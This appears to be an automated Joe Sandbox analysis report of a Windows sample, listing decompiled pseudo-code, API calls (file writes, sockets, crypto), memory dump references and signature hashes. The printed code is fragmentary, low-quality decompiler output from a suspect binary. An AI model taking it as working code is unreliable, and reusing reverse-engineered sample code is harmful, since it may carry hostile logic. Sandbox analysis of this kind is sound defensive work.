Opcode ID: 031287fa3ad8c086303e0e3b08eefe1aa7024557bc3a07c500927a8f3ecbbe24
Instruction ID: cda20a0197aafe0ac7490f5779ce35890d0c932bf89f55caadd1b94f258704a9
Opcode Fuzzy Hash: 031287fa3ad8c086303e0e3b08eefe1aa7024557bc3a07c500927a8f3ecbbe24
Instruction Fuzzy Hash: 39114F62B24F6588FB00CB74E8811EC7774FB09B68F145225DF5D66669EF38C085C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7820A4 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,00000106,00007FF61D782071), ref: 00007FF61D7820D6
free.MSVCRT(?,?,00000106,00007FF61D782071), ref: 00007FF61D7820F6

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d82ce354799780d5fe8e0d71c2391b40973093f9fd8c43ef161dd94abe9cd1bd
Instruction ID: 089c528f2052809bf1e0d831f57f998bdb619b1b0f8dc5aebfa066f2d429dcdc
Opcode Fuzzy Hash: d82ce354799780d5fe8e0d71c2391b40973093f9fd8c43ef161dd94abe9cd1bd
Instruction Fuzzy Hash: F7014876615F8586CB188F26F48006AB370F748FD4B249036DB9E43729EF38E486C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D782C6C Relevance: 1.6, APIs: 1, Instructions: 81
fileCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FF67FF61D782C6C(void* __eflags, long long __rbx, intOrPtr* __rcx, void* __r8, void* __r9, void* _a24) {
				char _v56;
				signed int _v72;
				signed long long _v88;
				signed int _v96;
				intOrPtr _v104;
				intOrPtr _t57;
				signed long long _t64;
				long long _t68;
				long long _t80;
				CHAR* _t81;
				intOrPtr* _t82;
				long _t84;
				long _t86;
				void* _t88;
				void* _t94;
				void* _t95;

				_t94 = __r9;
				_t95 = _t88;
				 *((long long*)(_t95 + 8)) = __rcx;
				 *((long long*)(_t95 - 0x40)) = 0xfffffffe;
				 *((long long*)(_t95 + 0x18)) = __rbx;
				_t57 = r8d;
				_t82 = __rcx;
				_v72 = _v72 & 0x00000000;
				 *((long long*)(__rcx)) = 0x1d793870;
				 *((long long*)(__rcx)) = 0x1d7937f8;
				_t68 = __rcx + 0x10;
				 *((long long*)(_t95 + 0x10)) = _t68;
				 *(_t68 + 8) =  *(_t68 + 8) & 0x00000000;
				 *(_t68 + 0x10) =  *(_t68 + 0x10) & 0x00000000;
				 *(_t68 + 0x18) =  *(_t68 + 0x18) & 0x00000000;
				asm("movups xmm1, [edx]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec ax");
				E00007FF67FF61D781BA8(0x1d7937f8, _t95 - 0x38);
				_v72 = 1;
				 *(_t68 + 8) =  *((intOrPtr*)(0x7ff61d793800));
				 *((long long*)(0x7ff61d793800)) =  *(_t68 + 8);
				_t80 =  *(_t68 + 0x10);
				 *(_t68 + 0x10) =  *((intOrPtr*)(0x7ff61d793808));
				 *((long long*)(0x7ff61d793808)) = _t80;
				_t64 =  *((intOrPtr*)(0x7ff61d793810));
				 *(_t68 + 0x18) = _t64;
				 *((long long*)(0x7ff61d793810)) =  *(_t68 + 0x18);
				_v72 = 1;
				E00007FF67FF61D781BDC(0,  &_v56);
				 *((intOrPtr*)(_t82 + 0x30)) = _t57;
				 *((intOrPtr*)(_t82 + 0x34)) = 4;
				 *(_t82 + 0x38) = 1;
				 *(_t82 + 0x3c) =  *(_t82 + 0x3c) & 0x00000000;
				if (_t57 != 0x80000000) goto 0x1d782d58;
				 *((intOrPtr*)(_t82 + 0x34)) = 3;
				_v88 = _v88 & 0x00000000;
				_v96 = _v96 & 0x00000000;
				_v104 = 3;
				r9d = 0;
				_t41 = _t94 + 1; // 0x1
				r8d = _t41;
				CreateFileA(_t81, _t84, _t86, ??); // executed
				 *(_t82 + 8) = _t64;
				if ( *((intOrPtr*)(_t82 + 0x34)) != 0) goto 0x1d782d93;
				_t44 = _t80 + 2; // 0x2
				r8d = _t44;
				return  *((intOrPtr*)( *_t82 + 0x48))();
			}

0x7ff61d782c6c
0x7ff61d782c6c
0x7ff61d782c6f
0x7ff61d782c7a
0x7ff61d782c82
0x7ff61d782c86
0x7ff61d782c89
0x7ff61d782c8c
0x7ff61d782c98
0x7ff61d782ca2
0x7ff61d782ca5
0x7ff61d782ca9
0x7ff61d782cad
0x7ff61d782cb2
0x7ff61d782cb7
0x7ff61d782cbc
0x7ff61d782cbf
0x7ff61d782cc3
0x7ff61d782cc8
0x7ff61d782ccd
0x7ff61d782cdc
0x7ff61d782ce4
0x7ff61d782cf4
0x7ff61d782cf8
0x7ff61d782cfc
0x7ff61d782d04
0x7ff61d782d08
0x7ff61d782d10
0x7ff61d782d14
0x7ff61d782d18
0x7ff61d782d24
0x7ff61d782d2d
0x7ff61d782d32
0x7ff61d782d3a
0x7ff61d782d3d
0x7ff61d782d44
0x7ff61d782d4e
0x7ff61d782d55
0x7ff61d782d58
0x7ff61d782d5e
0x7ff61d782d63
0x7ff61d782d67
0x7ff61d782d6a
0x7ff61d782d6a
0x7ff61d782d73
0x7ff61d782d79
0x7ff61d782d81
0x7ff61d782d88
0x7ff61d782d88
0x7ff61d782da5

APIs

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

CreateFileA.KERNELBASE ref: 00007FF61D782D73

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CreateFilefree
String ID:
API String ID: 1298414175-0
Opcode ID: 6afdbc82bf311ac7f85273307ef9f324a8265622ee95b29597469a8d011d32c7
Instruction ID: 3fb3e20a8e4aa2e5b427533c3808865c40df9d06e54fffe23ebb486350480c5d
Opcode Fuzzy Hash: 6afdbc82bf311ac7f85273307ef9f324a8265622ee95b29597469a8d011d32c7
Instruction Fuzzy Hash: 0A318973A14B4087D710CF25E5843AC77A4F788BA5F249225DB6C87B94EF79D8A4C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D782218 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

atexit.KERNELBASE(?,?,?,00007FF61D782381), ref: 00007FF61D782288

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: atexit
String ID:
API String ID: 3413467201-0
Opcode ID: edecbde388c4a8691610216413f70ccc081af62bb982a86e7a07d399f1f44f73
Instruction ID: bcec4853fa059666b347ed0ec23aaa2e5b5535f0403fa48543a56df0050a9850
Opcode Fuzzy Hash: edecbde388c4a8691610216413f70ccc081af62bb982a86e7a07d399f1f44f73
Instruction Fuzzy Hash: 80019222B49F4691EB55CB95F680165A3E0EF48FF0B9D5035DA4C87B68FE2CE549C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784380 Relevance: 1.5, APIs: 1, Instructions: 17networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF61D784399

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f432f794d99e2e2a187611ab7e7fe93006863870f87d6d49df4e078c0f3f7bc8
Instruction ID: 45159fc1251cbc7ed6c0de9c65652b96d659fb42b4ba349d3a6a888750edd114
Opcode Fuzzy Hash: f432f794d99e2e2a187611ab7e7fe93006863870f87d6d49df4e078c0f3f7bc8
Instruction Fuzzy Hash: 58D05B11E68D0681EF548675644443417949F6AF7CF145734CB3EA99D0FF5890995200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78418C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF61D784199

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 8f2490ca42e39dd25e8eb07733dce7da040e835cd4f7416eefd1b66656ca0319
Instruction ID: 9e9ebbc262a551ccd8eceec4b15380cd9072a62564e304d9b5474a3eeaffae55
Opcode Fuzzy Hash: 8f2490ca42e39dd25e8eb07733dce7da040e835cd4f7416eefd1b66656ca0319
Instruction Fuzzy Hash: AEC08C62A20D0483EB284B62B8850242224EB58F30B182320CE79892E0AF1585E68300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D782EC8 Relevance: 1.5, APIs: 1, Instructions: 8fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF61D782EDB

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: ecd546a808ccb861f159bb8b8f4d88dea52f65d7c3dbb5bc3a4a2c2cdf69fdab
Instruction ID: 4e092fb2fd38ad43c35a33bdd74519114dfb86b3cee0d342713ab6617f021e11
Opcode Fuzzy Hash: ecd546a808ccb861f159bb8b8f4d88dea52f65d7c3dbb5bc3a4a2c2cdf69fdab
Instruction Fuzzy Hash: 55C00266A299C4C3D610DB14E845759A370F799B18FA00111EB8D82634CF3DDE1ACA04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D783EF0 Relevance: 1.4, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00007FF67FF61D783EF0(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8) {
				void* _t50;
				void* _t51;
				long long _t70;
				intOrPtr _t73;
				intOrPtr _t74;
				void* _t83;
				long long _t89;
				void* _t98;
				void* _t99;
				long long _t101;
				void* _t108;
				void* _t113;
				void* _t114;
				int _t116;
				void* _t119;
				void* _t122;
				void* _t124;

				_t70 = _t101;
				 *((long long*)(_t70 + 0x10)) = __rbx;
				 *((long long*)(_t70 + 0x18)) = __rsi;
				 *((long long*)(_t70 + 0x20)) = __rdi;
				_t99 = _t70 - 0x5f;
				 *((long long*)(_t99 + 0x67)) = _t70;
				 *((intOrPtr*)(_t99 - 0x45)) = 7;
				 *((intOrPtr*)(_t99 - 0x35)) = 1;
				 *((intOrPtr*)(_t99 - 0x25)) = 6;
				_t124 =  <  ? __r8 : _t70;
				_t114 = _t124 + __rbx;
				_t106 =  !=  ? _t114 : __r8;
				_t83 = __rcx +  *((intOrPtr*)(__rcx + 0xf0));
				_t107 = ( !=  ? _t114 : __r8) + __rdx;
				_t108 = ( !=  ? _t114 : __r8) + __rdx - __rbx + __rdx;
				memmove(_t122, _t119, _t116);
				_t89 =  *((intOrPtr*)(__rcx + 0xf0));
				r9d = 0;
				 *(_t99 + 0x2b) =  *(_t99 + 0x2b) & 0x00000000;
				 *(_t99 - 0x19) =  *(_t99 - 0x19) & 0x00000000;
				 *((intOrPtr*)(_t99 - 0x49)) =  *((intOrPtr*)(__rcx + 0x58));
				 *((long long*)(_t99 - 0x41)) = _t89;
				asm("movups xmm0, [ebp-0x49]");
				 *((long long*)(_t99 - 0x31)) = _t89 + _t83;
				asm("movdqu [ebp-0x9], xmm0");
				 *((intOrPtr*)(_t99 - 0x29)) =  *((intOrPtr*)(__rcx + 0x5c));
				 *((long long*)(_t99 - 0x21)) = _t83 + _t89;
				 *((long long*)(_t99 - 0x11)) = _t99 - 9;
				_t73 =  *0x1d79d2b0; // 0x7ffc2e2b9220
				 *((intOrPtr*)(_t99 - 0x15)) = 4;
				 *((intOrPtr*)(_t99 - 0x39)) = r8d - __edx;
				asm("movups xmm0, [ebp-0x39]");
				asm("movdqu [ebp+0x7], xmm0");
				asm("movups xmm0, [ebp-0x29]");
				asm("movdqu [ebp+0x17], xmm0");
				_t50 =  *((long long*)( *((intOrPtr*)(_t73 + 0xc8))))(_t113, _t98);
				if (_t50 < 0) goto 0x1d78403d;
				 *((long long*)(__rcx + 0xf8)) = __rcx + 0x20;
				if (_t50 < 0) goto 0x1d78403d;
				_t74 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x30)))); // executed
				_t51 =  *((intOrPtr*)(_t74 + 0x40))();
				if (_t74 - 1 - 0xfffffffd > 0) goto 0x1d78403d;
				if (__r8 - _t124 != 0) goto 0x1d783f3d;
				goto 0x1d784041;
				return _t51;
			}

0x7ff61d783ef0
0x7ff61d783ef3
0x7ff61d783ef7
0x7ff61d783efb
0x7ff61d783f08
0x7ff61d783f19
0x7ff61d783f23
0x7ff61d783f2d
0x7ff61d783f36
0x7ff61d783f4d
0x7ff61d783f51
0x7ff61d783f59
0x7ff61d783f5d
0x7ff61d783f64
0x7ff61d783f6a
0x7ff61d783f6f
0x7ff61d783f7b
0x7ff61d783f82
0x7ff61d783f85
0x7ff61d783f89
0x7ff61d783f8d
0x7ff61d783f94
0x7ff61d783f98
0x7ff61d783f9c
0x7ff61d783fa8
0x7ff61d783fad
0x7ff61d783fb2
0x7ff61d783fba
0x7ff61d783fc2
0x7ff61d783fc9
0x7ff61d783fd0
0x7ff61d783fd3
0x7ff61d783fd7
0x7ff61d783fdc
0x7ff61d783fe0
0x7ff61d783fec
0x7ff61d783ff1
0x7ff61d783ffc
0x7ff61d784005
0x7ff61d78401f
0x7ff61d784022
0x7ff61d78402c
0x7ff61d784035
0x7ff61d78403b
0x7ff61d784064

APIs

memmove.MSVCRT ref: 00007FF61D783F6F

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: f7bf4fe4df4128128368ce5cabda98ef1215da3bd48be67bba97ef9d09d8b710
Instruction ID: 9e63bf1ec27ba1f5821db54b81f1122f02ca26e06dfd4d809ad8f0ffee694b99
Opcode Fuzzy Hash: f7bf4fe4df4128128368ce5cabda98ef1215da3bd48be67bba97ef9d09d8b710
Instruction Fuzzy Hash: 13412572B10B859BE704CF65D5406AD77B1F748BA8F40422ADF2C63B88EB78E569C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78BEC0 Relevance: 1.3, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF61D78BEC0(void* __eflags, long long __rbx, long long* __rcx, long long __rdx, long long __rsi, void* __r8) {
				void* _t32;
				void* _t33;
				void* _t34;
				void* _t37;
				void* _t39;
				void* _t59;
				long long _t62;
				void* _t68;
				void* _t69;
				void* _t74;
				void* _t76;
				long long* _t77;

				_t37 = __eflags;
				_t39 = _t68;
				 *((long long*)(_t39 + 8)) = __rcx;
				_t69 = _t68 - 0x3d0;
				 *((long long*)(_t69 + 0x60)) = 0xfffffffe;
				 *((long long*)(_t39 + 0x10)) = __rbx;
				 *((long long*)(_t39 + 0x18)) = __rsi;
				_t62 = __rdx;
				_t77 = __rcx;
				 *(_t69 + 0x20) =  *(_t69 + 0x20) & 0x00000000;
				 *((long long*)(_t69 + 0x40)) = 0x1d793490;
				 *((long long*)(_t69 + 0x48)) = 0x1d793510;
				 *((long long*)(_t69 + 0x50)) = 0x1d7933ec;
				 *((long long*)(_t69 + 0x58)) = 0x1d7933ed;
				r8d = 0x80;
				E00007FF67FF61D7825A4(_t34, _t69 + 0x68, __r8);
				_t44 =  *((intOrPtr*)(0x7ff61d7933f5));
				 *((long long*)(_t69 + 0x30)) =  *((intOrPtr*)(0x7ff61d7933f5));
				 *((long long*)(_t69 + 0x38)) =  *((intOrPtr*)(0x7ff61d7933fd));
				asm("movaps xmm0, [esp+0x30]");
				asm("movdqa [esp+0x30], xmm0");
				asm("movaps xmm1, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm1");
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [esp+0x50], xmm0");
				E00007FF67FF61D78C594(_t37, __rbx, _t39 - 0x270, _t69 + 0x50, _t69 + 0x40, _t69 + 0x30); // executed
				 *(_t69 + 0x20) = 1;
				free(_t76);
				 *((long long*)(_t77 + 8)) = _t62;
				 *_t77 = 0x1d795370;
				_t24 = _t77 + 0x10; // 0x10
				_t32 = E00007FF67FF61D78C27C(_t37, _t44, _t24, _t44, 0x1d795370, _t69 + 0x30, _t74);
				 *(_t69 + 0x20) = 0;
				_t33 = E00007FF67FF61D78BFE4(_t32, _t44, _t39 - 0x270, 0x1d795370, _t59);
				 *_t77 = 0x1d795370;
				return _t33;
			}

0x7ff61d78bec0
0x7ff61d78bec0
0x7ff61d78bec3
0x7ff61d78bed2
0x7ff61d78bed9
0x7ff61d78bee2
0x7ff61d78bee6
0x7ff61d78beea
0x7ff61d78beed
0x7ff61d78bef0
0x7ff61d78befc
0x7ff61d78bf08
0x7ff61d78bf14
0x7ff61d78bf20
0x7ff61d78bf25
0x7ff61d78bf30
0x7ff61d78bf3a
0x7ff61d78bf3e
0x7ff61d78bf43
0x7ff61d78bf48
0x7ff61d78bf4d
0x7ff61d78bf53
0x7ff61d78bf58
0x7ff61d78bf5e
0x7ff61d78bf63
0x7ff61d78bf7c
0x7ff61d78bf89
0x7ff61d78bf92
0x7ff61d78bf98
0x7ff61d78bfa3
0x7ff61d78bfa6
0x7ff61d78bfad
0x7ff61d78bfb6
0x7ff61d78bfbe
0x7ff61d78bfc3
0x7ff61d78bfe0

APIs

Part of subcall function 00007FF61D7825A4: CryptGenRandom.ADVAPI32 ref: 00007FF61D7825E4

Part of subcall function 00007FF61D78C594: memset.MSVCRT ref: 00007FF61D78C615
Part of subcall function 00007FF61D78C594: memset.MSVCRT ref: 00007FF61D78C6A4

free.MSVCRT ref: 00007FF61D78BF92

Part of subcall function 00007FF61D78C27C: memset.MSVCRT ref: 00007FF61D78C2E4

Part of subcall function 00007FF61D78BFE4: CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C021
Part of subcall function 00007FF61D78BFE4: CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C039

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Cryptmemset$Destroy$Randomfree
String ID:
API String ID: 2239103632-0
Opcode ID: 640f14ce99b85d5e60e8dfbdaa4e595c7d9e109b7bc0bc1e51f2880d05491ed5
Instruction ID: 9d55286a2429080b16368148e293eaa281cf2c63cbd6c56269ee65e3d48f2cff
Opcode Fuzzy Hash: 640f14ce99b85d5e60e8dfbdaa4e595c7d9e109b7bc0bc1e51f2880d05491ed5
Instruction Fuzzy Hash: 3A313A33618F8196E610CB14F4411A9B3A8FB88B64F105236EEDD53BA8EF78D549CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78356C Relevance: 1.3, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF61D78356C(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				void* __rdi;
				void* _t21;
				intOrPtr _t42;
				long long _t43;
				intOrPtr _t44;
				void* _t46;
				void* _t59;

				_a8 = __rbx;
				_a16 = __rsi;
				sil = __edx;
				_t46 = __rcx;
				if (0x90312 == 0x90312) goto 0x1d78359a;
				if (0x90312 != 0x80090318) goto 0x1d783632;
				if ( *((intOrPtr*)(__rcx + 0xc8)) == 0) goto 0x1d7835ae;
				if (0x90312 != 0x80090318) goto 0x1d7835e9;
				if (sil == 0) goto 0x1d7835e6;
				r8d = 0x8000;
				_t42 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x20))));
				 *((long long*)( *((intOrPtr*)(_t42 + 0x30))))(); // executed
				_t43 = _t42 - 1;
				if (_t43 - 0xfffffffd > 0) goto 0x1d78364d;
				 *((intOrPtr*)(__rcx + 0xc8)) =  *((intOrPtr*)(__rcx + 0xc8)) + _t42;
				goto 0x1d7835e9;
				sil = 1;
				_t21 = E00007FF67FF61D783428(1, __rcx, __rcx,  *((intOrPtr*)(__rcx + 0xc8)) +  *((intOrPtr*)(__rcx + 0xc0)), _t59, __rsi); // executed
				if (_t21 == 0x80090318) goto 0x1d783586;
				if ( *((intOrPtr*)(_t46 + 0x74)) != 5) goto 0x1d783624;
				r8d =  *((intOrPtr*)(_t46 + 0x70));
				memmove(??, ??, ??);
				goto 0x1d783626;
				 *((long long*)(_t46 + 0xc8)) = _t43;
				goto 0x1d783586;
				_t44 =  *0x1d79d2b0; // 0x7ffc2e2b9220
				 *((intOrPtr*)(_t44 + 0x58))();
				goto 0x1d783652;
				return 0x80090304;
			}

0x7ff61d78356c
0x7ff61d783571
0x7ff61d78357b
0x7ff61d78357e
0x7ff61d78358c
0x7ff61d783594
0x7ff61d7835a4
0x7ff61d7835ac
0x7ff61d7835b1
0x7ff61d7835b7
0x7ff61d7835c7
0x7ff61d7835ce
0x7ff61d7835d4
0x7ff61d7835db
0x7ff61d7835dd
0x7ff61d7835e4
0x7ff61d7835e6
0x7ff61d7835ee
0x7ff61d7835fa
0x7ff61d783600
0x7ff61d783602
0x7ff61d78361a
0x7ff61d783622
0x7ff61d783626
0x7ff61d78362d
0x7ff61d783632
0x7ff61d783646
0x7ff61d78364b
0x7ff61d783661

APIs

memmove.MSVCRT(?,?,?,00007FF61D78EF94), ref: 00007FF61D78361A

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ba0bc0a00c0eb132813b08bc539908e64c88402787e4743833945cd62498901c
Instruction ID: 570a5d5a1b6a3f073af5aa8ee4c526106cad99d9e6a02b195d1fc684017f6eb3
Opcode Fuzzy Hash: ba0bc0a00c0eb132813b08bc539908e64c88402787e4743833945cd62498901c
Instruction Fuzzy Hash: 91219772B19A4682EB948B3DD44067D23A1FB44FB4F148235DE1DC73A4ED3CD448A310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D788D50 Relevance: 1.3, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF61D788D50(long long __rbx, void* __rcx, long long __rdx, char _a8, void* _a24) {
				void* _v40;
				char _v56;
				char _v72;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				void* __rdi;
				void* __rsi;
				void* _t26;
				void* _t29;
				long long _t31;
				long long _t36;
				int _t49;
				void* _t50;
				void* _t52;
				long long _t53;
				void* _t55;
				long long _t58;
				void* _t61;
				void* _t63;

				_t31 = _t58;
				 *((long long*)(_t31 + 0x10)) = __rdx;
				_v96 = 0xfffffffe;
				 *((long long*)(_t31 + 0x18)) = __rbx;
				_t53 = __rdx;
				_t50 = __rcx;
				_v104 = 0;
				malloc(_t49);
				_a8 = _t31;
				if (_t31 == 0) goto 0x1d788d9b;
				E00007FF67FF61D78BEC0(_t31, __rbx, _t31,  *((intOrPtr*)(__rcx + 8)), __rdx, _t61); // executed
				_t36 = _t31;
				_a8 = _t36;
				 *((long long*)(_t50 + 0x18)) = _t36;
				_a8 =  *((intOrPtr*)(_t50 + 0x18));
				E00007FF67FF61D7874BC( &_a8);
				E00007FF67FF61D789E50(_t36,  *((intOrPtr*)(_t50 + 8)),  &_v56); // executed
				asm("movups xmm0, [eax]");
				asm("movdqu [ebp-0x40], xmm0");
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t50 + 0x18)))) + 8))(_t52, _t55);
				asm("movups xmm0, [eax]");
				asm("movdqu [ebp-0x30], xmm0");
				_t26 = E00007FF67FF61D78B808(_t29, _t36, _t53,  &_v72, _t50, _t53,  &_v88, _t63); // executed
				_v104 = 1;
				return _t26;
			}

0x7ff61d788d50
0x7ff61d788d53
0x7ff61d788d61
0x7ff61d788d69
0x7ff61d788d6d
0x7ff61d788d70
0x7ff61d788d75
0x7ff61d788d7d
0x7ff61d788d83
0x7ff61d788d8a
0x7ff61d788d93
0x7ff61d788d98
0x7ff61d788d9b
0x7ff61d788da3
0x7ff61d788da7
0x7ff61d788daf
0x7ff61d788dbc
0x7ff61d788dc1
0x7ff61d788dc4
0x7ff61d788dd4
0x7ff61d788dd7
0x7ff61d788dda
0x7ff61d788dea
0x7ff61d788def
0x7ff61d788e08

APIs

malloc.MSVCRT ref: 00007FF61D788D7D

Part of subcall function 00007FF61D78BEC0: free.MSVCRT ref: 00007FF61D78BF92

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

